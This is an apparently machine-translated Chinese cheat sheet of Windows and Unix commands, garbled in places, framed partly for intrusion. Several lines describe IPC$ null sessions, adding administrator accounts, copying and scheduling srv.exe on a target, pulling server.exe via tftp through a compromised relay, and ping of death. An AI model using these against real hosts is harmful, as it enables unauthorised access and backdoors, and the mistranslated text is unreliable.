Net use \\ip\ipc$ ""/user:" "建立ipc空鏈接。
Net使用\\ip\ipc$ "password" /user:"用戶名"建立ipc非空鏈接。
Net使用h: \\ip\c$“密碼”/用戶:“用戶名”直接登錄，映射到對方C:本地，是h。
Net使用h: \\ip\c$登錄後映射對方。c:到當地，就是h:
Net use \\ip\ipc$ /del刪除ipc鏈接。
Net使用h: /del刪除對方到本地的映射，名稱為h:
Net用戶用戶名密碼/添加創建用戶。
網絡用戶來賓/活動:是激活來賓用戶。
Net用戶來查看那裏有哪些用戶。
Net用戶帳戶名查看帳戶的屬性。
Net localgroup administrators用戶名/add將“用戶”添加到管理員中，以使用管理員權限。註意:在administrator後面加上復數s。
Net開始查看打開了哪些服務。
net start服務名啟動服務；(例如，網絡啟動遠程登錄、網絡啟動時間表)
網絡停止服務名稱停止服務。
Net time \\目標ip檢查對方時間。
Net time \\ Target ip /set設置本地計算機的時間與“目標ip”主機的時間同步，並添加參數/yes取消確認信息。
查看本地局域網中啟用了哪些* * *特權。
Net view \\ip查看對方局域網內開啟了哪些* * *權限。
網絡配置顯示系統網絡設置。
網絡下線斷開* * *享受
Net暫停服務名稱暫停服務。
Net send ip“短信”向對方發送消息。
網絡連接類型和信息用於網絡。
網分享查看當地* * *享受。
凈份額ipc$開放ipc$***享受。
凈份額ipc$ /del刪除ipc$***
凈份額c$ /del刪除c:* * * *享受。
Net用戶guest 12345登錄後，將密碼改為12345。
Net password密碼更改系統登錄密碼。
Netstat -a來查看哪些端口是打開的。經常使用netstat -an。
Netstat -n檢查端口的網絡連接，通常是netstat -an。
查看正在進行的工作
netstat -p協議名稱示例:netstat -p tcq/ip查看協議的用法(查看tcp/ip協議的用法)。
Netstat -s查看所有正在使用的協議的使用情況。
Nbtstat -A ip從136到139的其中壹個ip端口是開放的，可以查看對方最近登錄的用戶名(03之前的用戶名)-註意:參數-A要大寫。
tracert-參數ip(或計算機名)跟蹤路由(包)，參數:“-w號”用於設置超時間隔。
Ping ip(或域名)向另壹臺主機發送默認大小為32字節的數據。參數是“-l[ space]數據包大小”；“-n次發送數據”；“-t”表示壹直ping。
Ping -t -l 65550 ip Ping of death(發送大於64K的文件並且壹直ping就變成了ping of death)。
Ipconfig (winipcfg)用於windows NT和XP(windows 95 98)查看本地ip地址。
Ipconfig可以用參數“/all”顯示所有配置信息。
Tlist -t以樹行列表的方式顯示進程(它是系統的附加工具，默認情況下不安裝，位於安裝目錄的Support/tools文件夾下)。
在kill -F進程名中添加-F參數，強制結束壹個進程(它是系統的附加工具，默認不安裝，在安裝目錄的Support/tools文件夾下)。
添加-F參數後可以刪除Del -F文件名。/AR、/AH、/AS和/AA分別表示刪除只讀、隱藏、系統和存檔文件。/A-R、/A-H、/A-S和/A-A表示刪除除只讀、隱藏、系統和存檔文件以外的文件。例如，“DEL/AR *。* "表示刪除當前目錄下的所有只讀文件，" DEL/A-S *。* "表示刪除當前目錄下除系統文件以外的所有文件。
刪除/S /Q目錄或使用:rmdir /s /Q directory /S刪除該目錄及其下的所有子目錄和文件。同時使用參數/Q取消刪除操作，在系統確認後直接刪除。(兩個命令具有相同的效果)
移動盤符\路徑\存儲要移動的文件名的路徑\文件名移動後，使用參數/y取消提示，確認移動目錄中存在相同文件，直接覆蓋。
fc one . txt two . txt & gt；3t.txt比較兩個文件，並將差異輸出到3t.txt文件。“>”和“> >它是id號處的重定向命令，用於啟動已註冊的計劃任務。
在id號/刪除時停止已註冊的計劃任務。
查看所有計劃任務。
At \\ip time程序名(或命令)/r在某個時間運行另壹方的程序並重新啟動計算機。
手指username @host查看最近有哪些用戶登錄過。
Telnet ip端口遠離登錄服務器，默認端口為23。
Open ip連接到IP(telnet登錄後的命令)
Telnet:在這臺機器上直接鍵入telnet將在這臺機器上輸入telnet。
復制路徑\文件名1路徑\文件名2 /y將文件1復制到指定目錄作為文件2，並使用參數/y取消確認，同時要覆蓋現有的目錄文件。
復制c:\srv.exe \\ip\admin$將本地的c:\srv.exe復制到對方的admin。
cppy 1st.jpg/b+2st.txt/a 3st.jpg將2st . txt的內容隱藏到1st . jpg中，在3st.jpg生成壹個新文件。註意:2st.txt文件頭要空三行。參數:/b指二進制文件，/a指ASCLL文件。
copy \ \ IP \ admin $ \ svv . exe c:\ or:copy \ \ IP \ admin $ \ *。*將其他admini $ * * *享有的srv.exe文件(所有文件)復制到本地c:
Xcopy文件或目錄樹目標地址\目錄名復制文件和目錄樹，覆蓋同壹個文件而不用參數/y提示。
Tftp -i own IP(以肉機為跳板時使用肉機IP)獲取server.exe c:\server . exe登錄後，將“IP”的server.exe下載到目標主機C:\ server。exe參數:-i表示以二進制模式傳輸，比如傳輸EXE文件時，或者如果不加-i則以ASCII模式(傳輸文本文件模式)傳輸。
Tftp -i IP put c:\server.exe登錄，將本地的c:\server.exe上傳到主機。
ftp ip端口用於向服務器上傳文件或執行文件操作。默認端口是21。Bin指二進制傳輸(可執行文件入口)；默認情況下，它以ASCII格式傳輸(如果是文本文件)。
路由打印顯示IP路由，主要顯示網絡地址網絡地址、子網掩碼網絡掩碼、網關地址網關地址和接口地址接口。
Arp檢查並處理ARP緩存。ARP表示名稱解析，負責將IP地址解析為物理MAC地址。Arp -a將顯示所有信息。
啟動程序名或命令/max或/min打開壹個新窗口並最大化(最小化)運行壹個程序或命令。
用於檢查cpu使用情況的內存
Attrib文件名(目錄名)查看文件(目錄)的屬性。
Attrib文件名-A -R -S -H或+A +R +S +H刪除(添加)文件的存檔、只讀、系統和隱藏屬性；with+作為屬性添加。
查看文件的目錄。參數:/Q顯示文件和目錄屬於哪個用戶，/T:C顯示文件創建的時間，/T:A顯示上次訪問文件的時間，/T:W顯示上次修改文件的時間。
日期/t，時間/t使用該參數，即“日期/T”和“時間/T”，將只顯示當前日期和時間，而不輸入新的日期和時間。
Set指定環境變量名稱=要分配給變量的字符設置環境變量。
Set顯示所有當前環境變量。
Set p(或其他字符)顯示當前以字符p(或其他字符)開頭的所有環境變量。
暫停暫停批處理程序並顯示:請按任意鍵繼續。....
If在批處理程序中執行條件處理(有關更多詳細信息，請參見if命令和變量)
goto標記將cmd.exe指向批處理程序中的標記行(該標記必須是單獨的壹行，並以冒號開頭，例如“:start”標記)。
調用路徑\批處理文件名從批處理程序調用另壹個批處理程序(參見call/？)
For對壹組文件中的每個文件執行特定的命令(有關更多詳細信息，請參見for commands and variables)。
回聲打開或關閉打開或關閉回聲，顯示當前回聲設置，只有回聲，沒有參數。
回聲信息在屏幕上顯示信息。
回聲信息> & gtPass.txt將“信息”保存到pass.txt文件中。
Findstr "Hello" aa.txt在aa.txt文件中查找字符串Hello。
查找文件名查找文件
標題標題名稱更改CMD窗口的標題名稱。
提示符名稱改變了cmd.exe顯示的命令提示符(統壹將C:\，D:\改為:EntSky\)。
打印文件名打印文本文件
Ver在DOS窗口顯示版本信息。
Winver彈出窗口顯示版本信息(內存大小、系統版本、補丁版本、電腦名稱)。
Format letter /FS: type格式化磁盤，類型:FAT，FAT32，NTFS，例如:Format D:/FS:NTFS。
Md目錄名創建目錄
替換源文件被替換文件的目錄替換文件
任原文件名新文件名重命名文件名
Tree以樹形結構顯示目錄，第壹個文件夾中的文件名將使用參數-f列出。
類型文件名顯示文本文件的內容。
更多文件名逐屏顯示輸出文件。
Doskey命令鎖定=字符
Doskey命令解鎖=為DOS提供的lock命令(編輯命令行，調用win2k命令並創建宏)。比如:lock dir命令:doskey dir=entsky (doskeydir = dir不能用)；
解鎖:doskey dir=
Taskmgr調用任務管理器
Chkdsk /F D:檢查磁盤D並顯示狀態報告；添加參數/f並修復磁盤上的錯誤。
Tlntadmn telnt service admn，鍵入Tlntadmn，選擇3，然後選擇8以更改telnet服務。
默認端口23是任何其他端口。
退出退出cmd.exe程序或目前使用參數/B退出當前批處理腳本而不是cmd.exe。
路徑路徑\可執行文件的文件名設置可執行文件的路徑。
Cmd啟動win2K命令解釋窗口。參數:/eff，/en關閉和打開命令擴展。更窩
見cmd/？
regedit /s註冊表文件名被導入註冊表中；參數/S是指沒有任何提示的安靜模式導入；
Regedit /e註冊表文件名導出註冊表
Cacls文件名參數顯示或修改文件訪問控制列表(ACL)-對於NTFS格式。參數:/D用戶名:設置為拒絕用戶訪問；/P用戶名erm替換指定用戶的訪問權限；/G用戶名erm給指定的用戶訪問權限；Perm可以是:N無，R讀W寫，C改(寫)，F全控；示例:cacls D:\test.txt /D發布設置
D:\test.txt拒絕pub用戶的訪問。
Cacls文件名查看文件的訪問用戶權限列表。
REM文本內容向批處理文件添加註釋
查看或更改本地網絡配置
IIS服務命令:
Iisreset /reboot重啟win2k電腦(但是有系統重啟的提示)。
Iisreset /start或stop啟動(停止)所有Internet服務。
Iisreset /restart停止並重新啟動所有Internet服務。
Iisreset /status顯示所有Internet服務的狀態。
Iisreset /enable或disable啟用(禁用)在本地系統上重新啟動Internet服務。
移動
Iisreset /rebootonerror當啟動、停止或重新啟動Internet服務時，如果出現錯誤，它將重新啟動。
如果無法停止Internet服務，Iisreset /noforce將不會強制終止Internet服務。
當超時(秒)過期時，Iisreset /timeout Val沒有停止Internet服務。如果指定了/rebooterror參數，計算機將重新啟動。默認值為重啟20秒、停止60秒和重啟0秒。
FTP命令:(細節稍後給出)
ftp的命令行格式是:
FTP-V-D-I-N-G[主機名]-V顯示遠程服務器的所有響應信息。
-d使用調試模式。
-n限制ftp自動登錄，即不使用。netrc文件。
-g取消全局文件名。
幫助[命令]還是？[命令]查看命令描述
Bye或quit終止主機FTP進程並退出FTP管理模式。
Pwd列出了當前的遠程主機目錄。
上傳或發送本地文件名[上傳到主機的文件名]將本地文件發送到遠程主機。
Get或recv[遠程主機的文件名][下載到本地後的文件名]從遠程主機傳輸到本地主機。
Mget [remote-files]從遠程主機向本地主機接收壹批文件。
Mput local-files將壹批文件從本地主機傳輸到遠程主機。
Dir或ls[遠程目錄][本地文件]列出當前遠程主機目錄中的文件。如果有本地文件，則將結果寫入本地文件。
Bin或image設置文件以二進制模式發送。
每次完成文件傳輸時，Bell都會發出警報。
Cdup返回到上壹個目錄。
關閉中斷與遠程服務器的ftp會話(對應於打開)
Open host[port]建立指定ftp服務器的連接，並可以指定連接端口。
刪除從遠程主機刪除文件。
刪除壹批文件。
Mkdir directory-name在遠程主機上創建壹個目錄。
重命名[從][到]更改遠程主機中的文件名。
Rmdir directory-name刪除遠程主機中的目錄。
狀態顯示當前的FTP狀態。
系統顯示遠程主機系統類型。
用戶用戶名[密碼][帳戶]使用不同的用戶名再次登錄遠程主機。
Open host [port]重新建立新的連接。
提示交互提示模式
Macdef定義宏命令
lcd改變當前本地主機的工作目錄，如果默認，將轉到當前用戶的主目錄。
Chmod更改遠程主機的文件權限。
當大小寫打開時，由MGET命令復制的文件名被傳送到本地機器，並且所有文件被轉換成小寫字母。
Cd remote-dir進入遠程主機目錄。
Cdup進入遠程主機目錄的父目錄。
！在本地機器執行交互shell，exit返回ftp環境，比如！ls*。活力
Mv移動文件
Rm文件名刪除文件，RM-目錄名刪除目錄和子目錄。
Mkdir目錄名創建目錄
Rmdir刪除子目錄，目錄中沒有文檔。
Chmod設置文件或目錄的訪問權限。
Grep在文件中查找字符串。
差異文件比較
查找文件搜索
日期當前日期和時間。
誰在查詢目前和妳用同壹臺機器的人以及登錄的時間和地點。
w查詢當前計算機用戶的詳細信息。
Whoami檢查您的帳戶名稱。
群組查看某人的群組。
Passwd更改密碼
歷史，檢查妳自己的命令。
Ps顯示進程狀態。
Kill停止壹個進程。
Gcc黑客通常用它來編譯C語言編寫的文件。
Su權限被轉換為指定的用戶。
Telnet IP telnet連接到另壹臺主機(同win2K)，當bash$出現時，連接成功。
有許多批處理命令。。。。